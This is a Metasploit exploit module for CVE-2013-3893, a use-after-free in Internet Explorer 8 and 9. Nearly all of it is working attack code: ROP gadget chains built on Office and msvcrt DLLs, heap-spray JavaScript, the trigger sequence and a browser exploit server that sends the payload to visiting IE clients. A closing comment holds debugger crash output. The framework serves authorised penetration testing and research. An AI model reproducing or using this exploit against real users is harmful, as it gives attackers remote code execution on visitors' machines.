##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free",
      'Description'    => %q{
          This module exploits a use-after-free vulnerability that currents targets Internet
          Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
          It was initially found in the wild in Japan, but other regions such as English,
          Chinese, Korean, etc, were targeted as well.

          The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
          reference during an event. An attacker first can setup two elements, where the second
          is the child of the first, and then setup a onlosecapture event handler for the parent
          element. The onlosecapture event seems to require two setCapture() calls to trigger,
          one for the parent element, one for the child. When the setCapture() call for the child
          element is called, it finally triggers the event, which allows the attacker to cause an
          arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
          memory.  The exact size of this memory may differ based on the version of IE. After the
          free, an invalid reference will still be kept and pass on to more functions, eventuall
          this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
          code execution) when this function attempts to use this reference to call what appears to
          be a PrivateQueryInterface due to the offset (0x00).

          To mimic the same exploit found in the wild, this module will try to use the same DLL
          from Microsoft Office 2007 or 2010 to leverage the attack.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',      # Exploit in the wild first spotted in Japan
          'sinn3r',       # Metasploit (thx binjo for the heads up!)
          'Rich Lundeen'  # IE8 windows xp
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3893' ],
          [ 'OSVDB', '97380' ],
          [ 'MSB', 'MS13-080' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ]
        ],
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :ua_name => HttpClients::IE,
          :source  => /script/i
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => 'Windows 7',
              :ua_ver    => "9.0",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => 'Windows XP',
              :ua_ver    => "8.0"
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'PrependEncoder'  => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
        },
      'DefaultOptions'  =>
        {
          'PrependMigrate'       => true,
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Privileged'     => false,
      'DisclosureDate' => "Sep 17 2013",
      'DefaultTarget'  => 0))
  end

  def junk
    return rand_text_alpha(4).unpack("V")[0].to_i
  end

  def get_payload(target_info)
    code = payload.encoded
    rop  = ''
    alignment = ''

    case target_info[:office]
    when '2007'
      alignment =
      [
        junk,        # Alignment
      ].pack("V*")

      rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })

    when '2010'
      alignment =
      [
        # 4 dword junks due to the add esp in stack pivot
        junk,
        junk,
        junk,
        junk,
        0x51bf518b, # ret
        junk # due to the ret 4 on the stack pivot
      ].pack("V*")

      rop = generate_rop_payload('hxds', code, { 'target'=>'2010' })
    end

    p = alignment + rop + code
    p
  end

  def get_exploit_html_ie9(cli, target_info)
    gadgets = {}
    case target_info[:office]
    when '2007'
      gadgets[:spray1] = 0x1af40020

      # 0x31610020-0xc4, pointer to gadgets[:call_eax]
      gadgets[:target] = 0x3160ff5c

      # mov eax, [esi]
      # push esi
      # call [eax+4]
      gadgets[:call_eax] = 0x51bd1ce8

      # xchg eax,esp
      # add byte [eax], al
      # pop esi
      # mov [edi+23c], ebp
      # mov [edi+238], ebp
      # mov [edi+234], ebp
      # pop ebp
      # pop ebx
      # ret
      gadgets[:pivot] = 0x51be4418

    when '2010'
      gadgets[:spray1] = 0x1a7f0020

      # 0x30200020-0xc4, pointer to gadgets[:call_eax]
      gadgets[:target] = 0x301fff5c

      # mov eax, [esi]
      # push esi
      # call [eax+4]
      gadgets[:call_eax] = 0x51bd1a41

      # xchg eax,esp
      # add eax,dword ptr [eax]
      # add esp,10
      # mov eax,esi
      # pop esi
      # pop ebp # retn 4
      gadgets[:pivot] = 0x51c00e64
    end

    p1 =
    [
      gadgets[:target],  # Target address
      gadgets[:pivot]    # stack pivot
    ].pack("V*")

    p1 << get_payload(target_info)

    # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
    p2 = [ gadgets[:call_eax] ].pack("V*")

    js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
    js_p1 = Rex::Text.to_unescape(p1)
    js_p2 = Rex::Text.to_unescape(p2)

    %Q|
<html>
<script>
#{js_property_spray}

function loadOffice() {
  try{location.href='ms-help://'} catch(e){}
}

var a = new Array();
function spray() {
  var obj = '';
  for (i=0; i<20; i++) {
    if (i==0) { obj += unescape("#{js_s1}"); }
    else      { obj += "\\u4242\\u4242"; }
  }
  obj += "\\u5555";

  for (i=0; i<10; i++) {
    var e = document.createElement("div");
    e.className = obj;
    a.push(e);
  }

  var s1 = unescape("#{js_p1}");
  sprayHeap({shellcode:s1, maxAllocs:0x300});
  var s2 = unescape("#{js_p2}");
  sprayHeap({shellcode:s2, maxAllocs:0x300});
}

function hit()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");

  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);

  id_0.onlosecapture=function(e) {
    document.write("");
    spray();
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}

for (i=0; i<20; i++) {
  document.createElement("frame");
}

window.onload = function() {
  loadOffice();
  hit();
}
</script>
</html>
    |
  end

  def get_exploit_html_ie8(cli, target_info)
    code = payload.encoded

    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2024\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2)

    rop = [
      0x77c3868a,   # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret  ;
      0x20302020    # pointer to stack pivot
    ].pack("V*")

    rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code

    js_rop = Rex::Text.to_unescape(rop)

    %Q|
<html>
<script>

#{js_property_spray}

tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");

  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);

  id_0.onlosecapture=function(e) {
    document.write("");

    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    }

  var s = unescape("#{js_rop}");
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}

window.onload = function() {
  trigger();
}
</script>
    |

  end

  def on_request_exploit(cli, request, target_info)
    case target_info[:ua_ver]
    when "8.0"
      html = get_exploit_html_ie8(cli, target_info)
    when "9.0"
      html = get_exploit_html_ie9(cli, target_info)
    end
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})

  end
end

=begin

hxds.dll (Microsoft® Help Data Services Module)

  2007 DLL info:
  ProductVersion:   2.05.50727.198
  FileVersion:      2.05.50727.198 (QFE.050727-1900)

  2010 DLL info:
  ProductVersion:   2.05.50727.4039
  FileVersion:      2.05.50727.4039 (QFE.050727-4000)

mshtml.dll

  WinXP IE8 DLL info:
  ProductVersion:   8.0.6001.18702
  FileVersion:      8.0.6001.18702
  FileDescription:  Microsoft (R) HTML Viewer

  Win7 IE9 DLL info:
  ProductVersion:   9.00.8112.16446
  FileVersion:      9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
  FileDescription:  Microsoft (R) HTML Viewer


0:005> r
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
MSHTML!CTreeNode::GetInterface+0xd8:
679b6b61 8b08            mov     ecx,dword ptr [eax]  ds:0023:41414141=????????


66e13df7 8b0e            mov     ecx,dword ptr [esi]
66e13df9 8b11            mov     edx,dword ptr [ecx]  <-- mshtml + (63993df9 - 63580000)
66e13dfb 8b82c4000000    mov     eax,dword ptr [edx+0C4h]
66e13e01 ffd0            call    eax

=end
